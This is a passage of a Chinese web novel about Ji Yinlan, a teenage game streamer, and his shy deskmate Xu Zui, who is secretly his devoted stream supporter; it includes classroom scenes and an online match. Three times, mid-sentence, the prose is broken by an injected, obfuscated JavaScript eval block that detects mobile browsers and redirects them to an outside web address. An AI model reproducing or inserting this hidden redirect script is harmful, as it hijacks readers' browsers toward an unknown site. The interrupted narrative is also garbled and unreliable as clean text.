他这人有个毛病,就是阅读的时候容易出神,如果有时候没法集中注意思考什么问题,那只要往他面前摊开一本书,他读着读着就能集中精神去想另一件事,保管奏效,纪四余把这叫做“以毒攻毒”。 比如现在,纪因蓝连半篇作文都没看进去,思绪就跑到了三千里开外。 他没忍住偏头看了许最一眼。 纪因蓝从小就是个野孩子,毛还没长齐就能拎根树枝指挥其他小朋友、自己披个床单当大王那种。 他朋友不少,长这么大就从来没在社交上遇过坎摔过跟头,这辈子却是第一次见许最这样的人。 等最开始的无语过去,细品一下,他又觉出一丝新鲜。 不会说话? 世界上真的有不敢说话的人? 看起来那么冷那么拽,好像不屑跟人类交流似的,结果真相是他压根不敢开口? 多新鲜啊? 可能是想捉到许最不敢说话的证据,也可能是对他的构造比较好奇,纪因蓝忍不住看了他一眼又一眼。他光盯着许最的脸看,却没注意到这人坐在那里越来越僵硬紧绷,放在桌上的手已经把书角折了个稀巴烂。 显然,如果要跟《高考作文精选一百篇》比,许最这新品种人类对纪因蓝的吸引力就要大太多了。 可等纪因蓝第无数次转头看他,他听见许最好像很轻地叹了口气。 那之后,他听见许最低声问: “我长得很奇怪?” “?” 听见这话,纪因蓝愣了一下,下意识就想怼回去。 但等稍微冷静下来,他才反应过来,许最这可能真不是阴阳怪气。 纪因蓝抱着试探的心态回了一句: “没。” “……哦。”许最应了一声,顿了顿,又道: “你一直看我,我以为是我长得奇怪。” 很平淡的一句话,可从许最嘴里说出来,莫名就带了丝挑衅。 纪因蓝实在没忍住,开口时语气不算很好: “看你比作文好看不行?” “……”听见这话,许最沉默了一下。 而后,他重新垂下眼,很低很低地回了一句: “谢谢。” “?” 纪因蓝有种一拳打到棉花上对方还回赠给他一颗糖的感觉。 他抿抿唇,恶狠狠地把作文书又往后翻了几页。 该死的。 遇上对手了。 摸底考的试卷批改完,意味着今天一整天的课基本都是讲题,这对于纪因蓝来说是一种煎熬,因为数学理综他基本不用听,而语文听了没用,英语压根听不懂。 继早晨被福团揪着一篇作文凌.迟一早晨之后,纪因蓝又被英语老师抓着阴阳怪气了一下午。 英语老师是个不修边幅的男老师,一头短发老是乱翘着,形似海胆,所以被同学们亲切地称为海胆哥。 “纪因蓝,我都不想说你,你知不知道你把咱班本就不高的平均分又拉低了几分?不会写你就硬编吗!你下次不会写就不要写,空着也比胡写强!与其让这张卷子被整个英语组传阅真不如空着交上去坦坦荡荡……你就不能把你学数理化生的精力分给英语一点吗?每天多背二十个单词是难死你了吗?你要是语文英语不拖后腿,知不知道你的总排名能上多少?” 海胆哥拿着纪因蓝的英语答题纸,只觉得两眼一黑: “来,你告诉我,Hallow是什么东西?” “呃……”纪因蓝卡了一下,正在思考要如何回答海胆哥,余光突然瞥见旁边的许最抬头看了他一眼。 “还有你这作文,词汇量不够拼音来凑是吧?” “嘶……” 许最又悄悄把目光探了过来。 “选择全选B又是有什么巧思?” 这次纪因蓝在许最再次看过来前踹了一脚他的椅子腿,打断了他的施法。 他顶着海胆哥滚烫的目光: “咳……B是幸运字母。” “我看这也没多幸运。”海胆哥嗤笑一声: “所有选择连蒙带猜拿了三十分,下次换成A吧,全蒙A你能拿四十。” “好的。” “你还‘好的’?去去去,把你题纸拿走,今天回去把Hello抄一百遍明天交给我!哥,我叫你一声蓝哥,你背背单词吧,算我求你。” “不敢不敢。” 纪因蓝过去接过海胆哥递来的题纸,朝他扬唇笑笑: “能背我肯定背了,这不是背不会吗?语言这块,天赋摆在这,我是真没办法。” “我看你说起来挺能说,写起来怎么就不行了?” 海胆瞥了他一眼: “硬背还有背不会的?你这不是换了个新同桌吗,人家许最这次摸底考英语一百四十八,活的资源放在这不会用?没事多问两句,什么都有了。” 纪因蓝听这句话听得耳朵都长毛了。 回座位之后,他还真下意识瞥了眼许最的答题纸。 一张试卷干净整洁,选择涂得规规整整,填空作文也都被好看的字迹填满,跟他那战后废墟似的题纸确实两模两样。 其实纪因蓝真不是不爱学,但英语这玩意对他来说比语文还要熬人,毕竟语文至少他看得明白字,英语他最多只懂几个幼儿园词汇,其余全部抓瞎,一看那些蚯蚓似的字母就困,是真的没有一点办法。 没天赋加不感兴趣,神仙来了也难救。 纪因蓝翻着自己一团乱的桌面,正想找张幸运的草稿纸来抄那一百遍“Hello”,但还没等他找到,就先看他同桌又鬼鬼祟祟往两人课桌的分界处放了一张纸条。 这次,纪因蓝大概了解了许最的尿性,知道这多半是他又有屁放,所以直接伸手拿了过来。 展开纸条,里边就写了短短一行: [请问,你英语考了多少分?] 纪因蓝没多想,随手写了个数字,把纸条揉成团给他扔了回去。 被他团得皱巴巴的纸条又被旁边人铺平叠成豆腐块送了回来。 展开,在纪因蓝用蓝笔写下的“43”下面,许最添了一句: [哦,我考了148。] “?” 纪因蓝真想把这破纸塞到许最嘴里去。 他单手把那张可怜的纸条揉成团扔回桌子里,低声冷笑: “需要我夸你?” “……” 许最没有说话。 他只看了纪因蓝一眼,很快收回了视线。 纪因蓝感谢许最给自己平淡的生活增添了一丝怒火。 他暴躁地翻出笔记本,找到空白页铺到自己手边,但还没等他开始写,他余光就瞥到自己桌边又多了一张碍眼的纸条。 纪因蓝原本不想理会,但每被忽视一分钟后,许最就会伸手把那张纸条再往纪因蓝这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12505928|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边推几毫米。 他好像真的以为这张纸条没有被搭理是因为纪因蓝没有看见。 当纸条彻底被许最推离分界线、躺到自己这边,纪因蓝才终于没法再假装看不见。 他恼火地夺过那张纸条,展开: [你好,我不是想得到你的夸奖。我只是想说,如果有哪里不懂,或者想了解什么单词,你可以问我。虽然我只能考148,但帮助43分的同学应该还算够用,希望你不要嫌弃。] 纪因蓝看着这行字,又是许久沉默。 最终,他翻了个白眼,把这张纸扔进课桌里跟上一张去作伴。 他也没法用太恶毒的语言攻击许最,毕竟他算是懂了,许最真不是故意,他就真纯是情商低。 所以他只在翻白眼时低声吐槽一句: “怪人。” 说完这句后,纪因蓝埋头抄了几遍单词,笔尖停顿时,却突然听见身边某人在小声嘟哝什么。 纪因蓝还以为是哪来的蚊子在叫。 他皱皱眉,看向他: “你在说什么?” 许最愣了一下,而后稍稍靠近他一点。 “freak。” “啊?”纪因蓝没听懂: “什么鸟语?” “freak。”许最发音很轻,配上他冷调的声音,还有点好听。 但纪因蓝没有心思欣赏,因为他听见许最接着说: “怪人,怪胎。freak,f-r-e-a-k。” “……” 纪因蓝都不知道自己是该气还是该笑。 他气笑了。 他正了正身形,在海胆哥背过身写板书时,他朝许最勾了勾手指,示意他靠自己近一点。 许最不明所以,但还是将身体稍微朝他这边靠了靠。 他身上的栀子花香随着他靠近变得愈发浓郁。 纪因蓝冷冷勾了下唇角,稍稍扬起下巴,凑近他的耳朵,小小声问: “这么会教?来,你教教我,傻逼用英语怎么说?” “……” 听完他的话,许最默默坐了回去。 纪因蓝看他一眼,没见他表情有什么波澜,只看他轻轻抿了下唇角,垂下了眼。 纪因蓝原本想这人是不是没太听清所以没反应,但看许最安静久了,又忍不住去想自己的话是不是说得有点重了。 听说这种内向的人心思都很敏感,他一句傻逼不会把他骂自闭吧? 如果他真因为这两个字受到了伤害,那自己跟崔哲言那种霸凌者有什么不同? 他脆弱的心脏不会真的被他伤到了吧? 他不会一个想不开半夜吊死在他家门口吧? 纪因蓝越想越没底。 他轻咳两声,又悄悄看了眼许最,正想着开口跟他说两句话破一下冰,但在那之前,许最又往分界线放了一张小纸条。 “?” 来下战书了? 纪因蓝迟疑着展开了那张纸。 然后,他的心情再次从没底变成了无语。 [你提出的问题很新颖,我想了想,好像没有哪个英语单词可以直接替代中文的“傻逼”,你或许可以考虑使用“idiot”,意思是“蠢人,笨蛋,白痴”。或者“fool”,意思是“傻瓜”。但我不建议你使用,因为用语言攻击别人是很不好的行为,不过,你愿意问我问题,我真的很高兴。] [另:期待你的下一个问题。] “……” 纪因蓝板着脸往桌子里扔了第三个废纸团。 他娘的。 就多余担心。 11.守护神 纪因蓝从还不认识许最的时候就对此人积攒了浓重的怨气。 事情还要从上学期说起。北川一中上学期小小升级了一下教学楼,施工时间的安排导致学生们中午无法留在教室内午休,那之后大部分学生都选择去学校外逛逛消磨时间,也有的会直接去图书馆休息或自习。 但纪因蓝懒得出去晃悠,也不想去图书馆吹空调,他想找个能让他远离人群喧嚣安安静静躺一会儿的地方,寻觅几天,最后还真被他寻见了一个风水宝地——教学楼的天台。 北川一中教学楼的天台上有个被闲置许久的小屋,小屋屋顶在多年风吹雨打下早已开裂,水泥裂开的缝隙中却有小草挣扎着生长出,初夏甚至还开出了小雏菊和不知名的野花。 纪因蓝喜欢那个地方,喜欢和那些生命力顽强的小花小草躺在一起晒太阳。那里温暖安静,没人打扰,躺在那里,纪因蓝总有种好像整个世界都是他的错觉,有好几次因为睡得太香,还险些错过了下午的课程。 纪因蓝原本以为,那是只属于他自己的秘密基地。 直到有一天,秘密基地闯进了一个陌生人,那人午休也不去睡觉,就坐在墙脚闷着头背单词。背单词就算了,还偏要念出声。 纪因蓝原本不想和这种刻苦用功的好学生计较,但那人把一个英语单词翻来覆去地念,纪因蓝躺在上面,听得耳朵都要起茧。 知识以一种刁钻的方式刻进了脑袋,纪因蓝忍了又忍,忍无可忍,终于,他翻个身,趴到小屋顶边缘探出头望着下面的人: “s-e-r-e-n-d-i-p-i-t-y!serendipity!大哥,你一个单词念叨半天还没背会啊?吵人睡觉就算了,公共场合我也没法说什么,但你至少把词换一换呢?” 背单词的男生坐在墙角处,他大半身体都藏在墙面落下的阴影里,墙缝处生出的杂草挡住了纪因蓝的视线,他看不清那男生的脸,只能看清他那身干净规整的校服。 很长一段时间内,中午的教学楼顶都只有他们两个人,再就是头顶热烈的阳光,与盛夏独有的聒噪蝉鸣。 纪因蓝来得早走得晚,从来没跟那男生打过照面,但将近一个学期的共处后,他算是把那家伙的声音烙印进了灵魂里,就算未来哑成唐老鸭也听得出来。 原因无他,只因纪因蓝死也背不会的那些单词和古诗,愣是在那男生念经似的反复念叨后被他牢牢记到了心里。那段时间,纪因蓝连梦里都有个无脸男蹲在他身边背单词背古诗,这人险些成了他的梦魇,实在太烦。 纪因蓝曾经暗暗发过誓,若有朝一日在他处重逢,他一定要把那混球从头到脚嘲讽一遍,然后再撕烂他的嘴。 但没想到,如今不仅重新遇到了,对方还成了他的同桌,纪因蓝非但没能出了上学期的恶气,还得继续听这混蛋的紧箍咒——还是英文版。 妈的。 idiot。 fool。 傻逼。 许最。 你好得很。 纪因蓝罚抄时用的力度恨不得把纸捅穿,纸上每一个“Hello”都倾注了纪因蓝全部的感情。 这不是你好,这是他索命前的预告。 纪因蓝在放学前抄完了他的一百遍“Hello”,他懒得拖到明天,所以一下课就把罚抄纸交到了办公室,结果又被海胆哥扣下念叨了十多分钟,才终于脱身。 回来的时候,教室里的人已经走了一部分,纪因蓝回到座位看了一眼今天的作业,开始挑挑拣拣往包里装东西。 前座的小哥俩正闲聊着,纪因蓝没注意听,后来,他们的话题不知为何又跑回了许最身上。 “哎,学霸,我是转校来着,但你好像是转班生是吧?我听人说你之前是尖子班的,怎么突然转普通班来了?” 纪因蓝时常觉得纪四余和陆琢多虑了,因为陆珏这人看起来真的不怎么需要照顾,他自己就能把自己照顾得很好。这才短短一天时间,他就已经跟周围同学打成一片,只要是空闲时间,纪因蓝就没见他嘴巴停过。 现在看来,他心好像也挺大,早上才贴过许最冷脸,现在就好像完全忘了那点小尴尬,又兴致勃勃地跟人家搭起了话。 “是啊,我也老好奇了。” 有个几秒前刚从旁边路过的男生听见了他们的谈话,赶紧折回来搭腔,他趴到了许最桌边,眼巴巴地瞅着他: “我们都奇怪,但都没好意思问。今天吃饭的时候还打赌来着。所以学霸,你为什么要来我们班啊?在一班待久了觉得无聊,想来普通班虐虐菜?还是说……” 那男生朝许最挤挤眼睛,神神秘秘地笑了一下: “还是喜欢哪个女孩了,想近水楼台先得月?” “……” 尖子班的好学生纡尊降贵来到普通班,背后的原因确实耐人寻味。有好几个人都闻着味儿凑了过来,想听个热闹。 但许最没理会他们任何人,他嘴唇轻动,却也没能说出什么话,只抿抿唇,继续慢吞吞收着自己的书包。 气氛一时沉默得有点尴尬。 纪因蓝看了他一眼。 一班那些破人破事估计没多少人知道,如果不像姜闪闪那样特意打听,也听不到什么内情。 周围的人越来越多,片刻,纪因蓝注意到许最微微蜷起了手指。 他在心里冷酷地嗤笑一声。 局促了?不自在了?不会说话,但不是挺能写吗?怎么不给这些人挨个写纸条解释原因全班分发啊? 虽然心里已经嘲讽拉满,但纪因蓝看着许最那窝囊样子,还是大发慈悲地替他敲了敲桌。 毕竟许最转班的原因并不有趣,对于校园霸凌的受害者来说,就算没有把受过的伤再次扒开公之于众,不断这样被人追问疤痕的原因,或许也是一种伤害。 加上许最这货还是个闷葫芦,连拒绝都做不到,再多被问几句,这人的处理方式估计就是直接拎着包冷脸走掉,到时候还弄得大家都下不来台,而纪因蓝才懒得替他解释他不是高冷拽哥只是社恐i人。 所以纪因蓝选择在这时候发发善心做个这个解围人。 “怎么这么好奇啊?人想说自然就说了,不想说一直被追着问也挺烦的,差不多行了,别堵人。” 九班平时氛围很好,同学之间关系也不错,现在听纪因蓝这么说,凑热闹的那帮人又打趣几句,也就各自散了。 旁边的许最似乎愣了一下。 他有些错愕地抬眸悄悄看了纪因蓝一眼,又在他目光落过来时垂眸躲开。 纪因蓝注意到了他这点小动作,也注意到了他终于放松下来的手指。 但他没说什么,只收回视线,没再理会他。 “哎,蓝。” 丁逸逍朝纪因蓝打了个响舌: “今天陆珏刚来,咱不得团建一下?叫上闪姐晚上一起吃个饭呗?” 纪因蓝拉拉链的动作一顿: “……嘶,下次吧,忘了这茬,今天晚上已经约好直播了。” “直播?”听见这个词,陆珏有点茫然,他看看丁逸逍,又看看纪因蓝,突然像是想起了什么: “哦!我堂姐跟我说过,你是游戏主播!” “可不是普通的游戏主播!”丁逸逍最爱吹他兄弟,听见陆珏的话,他像是被按开了什么开关,立马拍案而起: “猫爪TV游戏区顶流inBlue!去年烈焰圣杯全平台主播赛MVP!他直播确实不好鸽,没事,珏珏子,今晚我请你吃。” “不吃了!” 听见丁逸逍的话,陆珏立马残忍地拒绝了他的热情邀请。 他一把抓住了纪因蓝的袖子把他手拽过来,等看清他食指骨节上那颗痣,才倒吸一口气: “咱们团建改到召唤师峡谷行吗?也没人告诉我哥们你是真inBlue啊,因蓝inBlue,我去,还真是,这次让我见到活的了。” “嗐。”丁逸逍不屑地嗤笑一声,刚想说“让他带上分不如去求母猪表演上树”,结果一个字还没出口,就听纪因蓝应道: “行啊,晚上开播叫你。一起玩。” “?”丁逸逍不可置信地睁大眼睛: “你就这么区别对待?带他就行带我不行?” 纪因蓝望着他,欲言又止止言又欲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12528367|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁逸逍从他的眼神里读懂了全部。 草。 骂的真脏。 陆珏没有注意到这哥俩的友好交流,他正忙着低头戳开自己的微信二维码,摆到了纪因蓝桌上: “来来,以后都是哥们,咱加个微信先。” 听见这句,边上无人在意的许最竖起耳朵,趁大家没注意,默默把已经拉好拉链的书包重新打开,从课桌里摸索着又拿出两张草稿纸塞进包里。 他的动作磨磨蹭蹭,极为缓慢,好像一头吃了桉树叶的考拉,直到陆珏开口道: “学霸,咱也加一下呗?” 许最抬眸看他一眼,很快垂下眼睫: “……哦。” “嘿嘿,我也加一下,以后有不会的题随时打扰。学霸不介意吧?” “不。” 丁逸逍这算盘珠子都快崩纪因蓝脸上了: “不会的题?是不想写的作业吧。” 纪因蓝嘲完一句,看了眼时间,正想拎包走人,但在那之前,他突然注意到自己和许最的课桌交界处不知何时多了一部亮着屏幕的手机。 “?” 纪因蓝看了一眼。 见状,许最用手指抵着手机的边框,像先前推纸条一样,把它又往纪因蓝桌上推了一点点。 亮起的屏幕里,是许最的微信好友二维码。 前座两个人已经添加完毕,它只静候纪因蓝的临幸。 说过了,纪因蓝的母语是无语。 他一句“不加”到了嘴边,可看着许最的死样子,那两个字在他舌尖打了个转又收了回去。 挣扎片刻,纪因蓝还是在大家面前给了哑巴一个面子,扫了码之后把书包往肩上一甩: “走了。” 许最看着他的背影消失在教室门口。 他轻轻抿起唇角,抬手拿回手机。 界面里,“联系人”图标上多了个写有数字“3”的小红点,许最点开它,给三个好友申请挨个点了通过,又点开了其中一个人的头像。 “哎,学霸,回家吗?那天看你回家等公交,你坐几路车,一起走呗?” 丁逸逍收着书包,随口问了一句。 “啊……不。” 在丁逸逍说下一句话之前,许最留下含糊的两个字,光速把包里那两张没用的草稿纸拿出来放回课桌里,拉好书包起身飞了。 看着他那风一般的背影,陆珏叹了一句: “高冷拽哥,酷毙。要我也这么沉默寡言,不得把妹妹们迷死?” 丁逸逍十分认同,跟着点了点头。 高冷拽哥本人没有听见自己的新称号,他快步出了学校,但没有去公交站,而是拐到了学校后门的一条小巷子。 巷子深处有一个不显眼的地下店面,许最轻车熟路地顺着楼梯走下去,还没推开门就闻到一股呛人的烟味。 室内灯光昏暗,烟草和泡面的味道交缠,混着各种男声女声或激动或愤怒的叫喊。 网吧老板是个留着光头的中年男人,他早就眼熟了许最这张脸,见他来了,他什么也没问,直接给他开了机。 许最付好钱,径直去了网吧最角落的位置。 这位置很偏,空调吹不到,所以很少有人占,平时也没人会靠近,可对于许最来说,却是个清净的好位置。 坐下后,许最熟练地开机登录,但没有打开任何一款游戏,只用手机点开了直播平台的APP,再点开某个主播的主页,把它放到了一边。 而后,他从包里拿出一只充电小台灯,又从包里掏出几本作业,在吵闹人声和浑浊空气里低头按开了笔。 时间一点点过去,网吧里的人来了又走,许最坐在自己的位置上,手边写完的习题册和题纸越来越多。 直到摆在一旁的手机发出一声“喵呜”的提示音。 许最笔尖一顿,立马拿过手机,点开了主页的直播间。 屏幕上弹出两行小字: [喵~欢迎尊贵的猫猫守护神“小咯叽”大人来到主播inBlue的直播间!] [您的喵喵助手提醒您,今天已经是您守护他的第1399天啦!] 12.012:羊与狼 纪因蓝在约定好的时间准时开播,几乎在直播间出现画面的后一秒,弹幕中就飞过了一行显眼的炫酷蓝金色字体: [欢迎主播inBlue的猫猫守护神“小咯叽”大人进入直播间~] -小孩哥来了,今天准时,夸。 -咯叽来了,咯叽不会一直在蹲吧,怎么比我还快? -欢迎咯叽~ -今天玩什么?一天就播那几小时还不知道抓点紧,快点的,别浪费时间。 “这么嚣张?” 纪因蓝扫了一眼弹幕,抬手调调机位,又调整一下直播版面,才点开了桌面上烈焰圣杯的图标: “今天跟朋友打几局圣杯,想看其他游戏的可以走了。” -你更嚣张。 -就喜欢小孩哥桀骜不驯的样子。 -爽,多说几句。 -楼上什么成分?[捏鼻.jpg] 由于纪因蓝大小号的段位都太高,而还在低分段游荡的丁逸逍撒泼打滚非要加入他们的游戏,今天的上分局便无奈变成了娱乐局。 丁逸逍和陆珏上得比他早,纪因蓝一上线就收到了他俩的邀请。他点了接受,正想趁匹配时间去倒杯水,但视线一扫,他突然注意到侧边好友栏亮起的头像。 “等等。” 纪因蓝立马取消匹配,扫了眼直播间的在线观众,问: “咯叽在线?匹配玩吗?随便打打。” 独属于小咯叽的蓝金色字体立马出现: “好。” 组队语音里,丁逸逍的声音大喇喇传来: “你等谁啊?花都谢啦。” 纪因蓝挪动鼠标,给小咯叽弹了个邀请过去,随口道: “我的辅助。” -靠,谁懂这句。 -磕到了。 -楼上的,我懂。 -小孩哥蛊死我了,你的你的,我也是你的。 -女粉注意点,小孩哥未成年。 -非要在这种时候提这些吗?萎了。 “磕到了去医院,在我这喊什么?” 纪因蓝扫了眼弹幕,没管他们的危险发言。 烈焰圣杯5v5组队界面的空位处短暂地闪过一个加载符号,下一秒,多了一个粉嫩可爱的头像。 那人的头像是烈焰圣杯的一个辅助英雄奥莉美娜,奥莉美娜也被玩家称作小羊,而那人的游戏ID是“小羊咩咩叫”,这属性就很明显了,多半是个铁血小羊玩家。 “哦?女生啊。” 队里突然多了个疑似女生的队友,丁逸逍的声音都细了不少。 纪因蓝轻笑一声,没说什么。 倒是陆珏看这ID眼熟: “这是你直播间那个很有名的小咯叽吧?咯叽你好!” 一阵沉默。 片刻后,作为回应,小羊咩咩叫敲了敲陆珏的头像。 “咯叽不开麦。”纪因蓝简单解释一句,又敲敲丁逸逍的头像: “人齐了,开游戏。” 队伍立马加入匹配队列,很快进入了游戏。 选将时间,纪因蓝打开自己的英雄池,视线一扫,偶然注意到聊天界面多出几行字。 菜狗别叫:又是玩羊的?真晦气。 菜狗别叫:你们女的能不能滚出烈焰圣杯?喜欢好看的去玩公主换装好吗?妈的把把被死羊坑,这破英雄有什么用。 菜狗别叫:排位被羊坑就算了,打把匹配也能遇见羊,恶心死了。 纪因蓝扫了一眼,边剥了个蓝莓味泡泡糖扔进嘴里。 而后,他直接锁定小羊奥莉美娜,手在键盘飞快敲下几个字。 巴黎最后的圣父:菜狗别叫。 菜狗别叫:? 巴黎最后的圣父:名字很适合你。 菜狗别叫:你什么意思?这么嚣张?你带妹你带飞的意思呗? 巴黎最后的圣父:嘘。 巴黎最后的圣父:乾坤未定,你我皆是黑马。 -哈哈哈哈哈哈哈妈的我笑死。 -这种人真烦,打个游戏还搞性别歧视。 -很正常啊,玩羊的百分之九十以上都废啊。 -楼上的拱出去,别给你歧视女玩家找理由。很多男人也玩小羊,望周知。 “娱乐局都开始搞歧视了?这老哥哪来的优越感?” 陆珏随口吐槽一句。 他在二楼,正好轮到他选英雄,他瞥了眼英雄池,问: “蓝,怎么说,小羊选了,那我直接给你锁百加德?” “嗯。” 选将结束,丁逸逍中单,陆珏打野,他们匹配到的那位野人则拎着树藤去打了上单。 游戏加载界面是局内十位英雄的半身像,“小羊咩咩叫”和“巴黎最后的圣父”挨在一起,一个是留着深灰色波浪卷的甜美小羊少女,一个是一头白发的野狼酷哥。 奥莉美娜和百加德是烈焰圣杯里热度最高的一对情侣英雄,原型是一只黑色小绵羊和一只纯白的雪狼,所以也被玩家称作小羊和狼叔。 这两个英雄在同人圈的热度最高,可放在游戏里,却属于最不受待见的那一批。 因为小羊和狼叔的机制十分刁钻,狼叔的定位是ADC,技能花里胡哨拥有爆发伤害,却完全没有保命技能,比塔克拉玛干沙漠里开封三天还掉渣的薯片都脆,谁来都能扇他几个大嘴巴子把他送回泉水。这就导致这个英雄被玩得十分极端,要么秀得天花乱坠,要么坑得头皮发麻。 而小羊这个辅助英雄单拎出来确实有点鸡肋,因为她大部分时间都跟队友连在一起,没有扛伤害的能力,最多只能放放盾再给两口微弱的奶,被玩家调侃为“会跑的假眼”,大招更是离谱,俗称“就地自杀”,是奥莉美娜献祭自己的生命为队友换取一定程度的增幅。为了防着这一招,敌方总会在团战前想尽一切办法切死奥莉美娜,因此峡谷里的奥莉美娜总会在团战前以各种诡异的方式死在峡谷,带领自己的四个队友走向失败。 这两个英雄单拎出来都不强,甚至刁钻得让人想笑,但要是他们两个同时出现,情况便完全不一样了。 因为小羊的每个技能都能和狼叔打出组合技,这些组合技能完美补足两个英雄的短板,却也十分考验两个玩家的默契。 想打出组合技,需要狼叔在敌人身上释放技能,叠满三层被动印记后的一秒内,小羊再接上技能才能触发组合技。 这一秒,小羊玩家需要思考的事实在太多。 两个英雄,各四个技能,一共十六种组合技,小羊玩家不仅得看清狼叔的技能,还得在短时间内分析局势,去想AD此刻需要的组合技到底是哪个,是控制,是位移,还是护盾,又或者是增幅。 在战斗中,任何选择都可能指向截然不同的结局,小羊玩家在其中扮演的角色实在太过重要,没有足够的意识与默契还有反应速度更本撑不起来。这就导致小羊和狼叔的组合在职业赛事中几乎把把被Ban,因为强得离谱,在玩家群体内却是人人喊打,因为门槛太高却总有人爱碰。 -可乐薯片已备好,静待烈焰圣杯最强羊狼出战。 -注意!注意!请不要用狼叔小羊形容inBlue和小咯叽!请用inBlue和小咯叽来形容狼叔小羊! -哇,羊狼这套情皮是三年前那个限时活动获取吧,呜呜呜真好看,天杀的烈焰圣杯什么时候给我返场! 加载界面内,小羊奥莉美娜留着一头深灰色的波浪长发,穿着漂亮的黑色婚纱,狼叔百加德则是白发白耳,一身白色西装,蓬松的尾巴在身后扫着,手里捧着一束白色的花。 羊狼有不少情侣皮肤,但纪因蓝最钟爱这套,不是因为这套最好看最稀有最有纪念意义,而是因为这套手感最好,穿着好像能杀穿整个峡谷当只浴血新狼。 进游戏后,纪因蓝很对得起开局时给队友的嘲讽,在自家野人上单被敌方单杀时,已经面无表情配合小咯叽拿了对方AD辅助第二波人头。 在对方AD打出问号时,纪因蓝正安安分分在下路清兵,片刻后,麦里传来丁逸逍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12552054|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音: “蓝,我有个问题求解。” 纪因蓝面无表情点掉眼前的兵: “放。” “我看别的主播玩羊狼都得随时开麦交流,你跟咩老师为什么一声不吭就能打配合?” 纪因蓝往小兵上甩了个技能,三层被动后,小咯叽跟了个组合技,两人之间立马多出一丝绿色特效,是组合技在给掉了三分之一血量的狼叔回血。 纪因蓝勾了勾唇角: “不知道。问她。” 敌方下路很快被杀穿,有了一条路的优势,中单和打野玩起来便要轻松的多,几分钟后,队伍里只有上单的战绩还是光头。 可能是这战绩伤了他的自尊心,过了一会儿,聊天界面弹出了一句话。 菜狗别叫(泰山):你们怎么打的游戏? 菜狗别叫(泰山):上路劣势看不出来?就只围着下路打? 看见这话,陆珏第一个不服。 工地少年与砖(娜娜比):大哥? 工地少年与砖(娜娜比):我往上路跑了多少次,你自己摸着良心数一数。我帮你抓咱俩二打一你丝血还想抢人头被对面换掉你怪我咯? 工地少年与砖(娜娜比):下路大优势不围着下路打围着谁打?零杠五的你吗? 菜狗别叫(泰山):他大优势?真当他打得好啊。 菜狗别叫(泰山):全靠羊狼体系打,他有一点点操作吗?玩机制怪不是有手就行? -我靠,这人真是又菜又爱叫。 -他在跟世界第一百加德哇哇叫什么? -小孩哥怼他!出去跟他单挑! 纪因蓝扫了一眼聊天框,还没等他出手,下面先多了一条来自对面的消息。 [所有人]野区与她皆失(狮心王):这个骚ID,你是inBlue? [所有人]野区与她皆失(狮心王):妈的时运不济,怎么不打排位也能被主播杀穿?该说不说,你狼叔玩得真秀。 巴黎最后的圣父(百加德):一般。 巴黎最后的圣父(百加德):辅助玩得好。 [所有人]野区与她皆失(狮心王):确实。 [所有人]野区与她皆失(狮心王):跟你们家泰山比,确实没什么破绽。 菜狗别叫(泰山):? 被伤到的上单愤怒地点开聊天框,正准备跟对方大骂一百回合,可还没等他敲出一个字,他屏幕一闪,只见以敌方打野为首的四个壮汉从草丛里冲出来,他一时甚至看不清到底有多少技能即将落在自己身上。 下一秒,他背后闪过一黑一白两道人影。 百加德带着他的小羊新娘穿梭在各种炫目的技能特效间,这英雄脆到被谁摸一下都会暴毙,可他硬是凭着意识和走位躲了敌方所有控制技能,抽空还能和小羊打一段几乎完美的组合技连招。 最后,上单和对面四个人惨死在一起,而西装微脏的狼叔甩甩捧花,带着小羊潇洒离开了河道。 上单看着自己变黑的屏幕,回味着刚才狼叔二打四的天秀操作,一时还没反应过来。 直到快要离开他屏幕的百加德一闪,是小羊从他身上跳了下来,从一团毛茸茸变回美少女,走过来踩到了上单的尸体上。 小羊静静在那站着,片刻,她头顶弹出一个表情气泡,里面是一个鞠躬小人。 等鞠躬小人消失,又一个表情接上,是一朵玫瑰花。 而后,小羊迈着优雅的小跳步回到了狼叔身边,重新变成小羊团子坐到了他的肩膀上。 游戏很快结束,在对方水晶爆炸之前,纪因蓝飞速在聊天框输出。 巴黎最后的圣父(百加德):菜狗别叫。 菜狗别叫(泰山):? 巴黎最后的圣父(百加德):带你赢了。 巴黎最后的圣父(百加德):祝你一生幸福顺遂,天天开心,早日有资格随地大小叫。 巴黎最后的圣父(百加德):[双手合十] 菜狗别叫(泰山):…… 13.013:入夜 -小孩哥阴阳力稳定在线。 -爽!就这个羊狼爽! -谁敢看不起小羊?谁敢?! -得了吧,这羊有什么好吹的,要不是主播狼玩的秀,羊也就是废物一个。 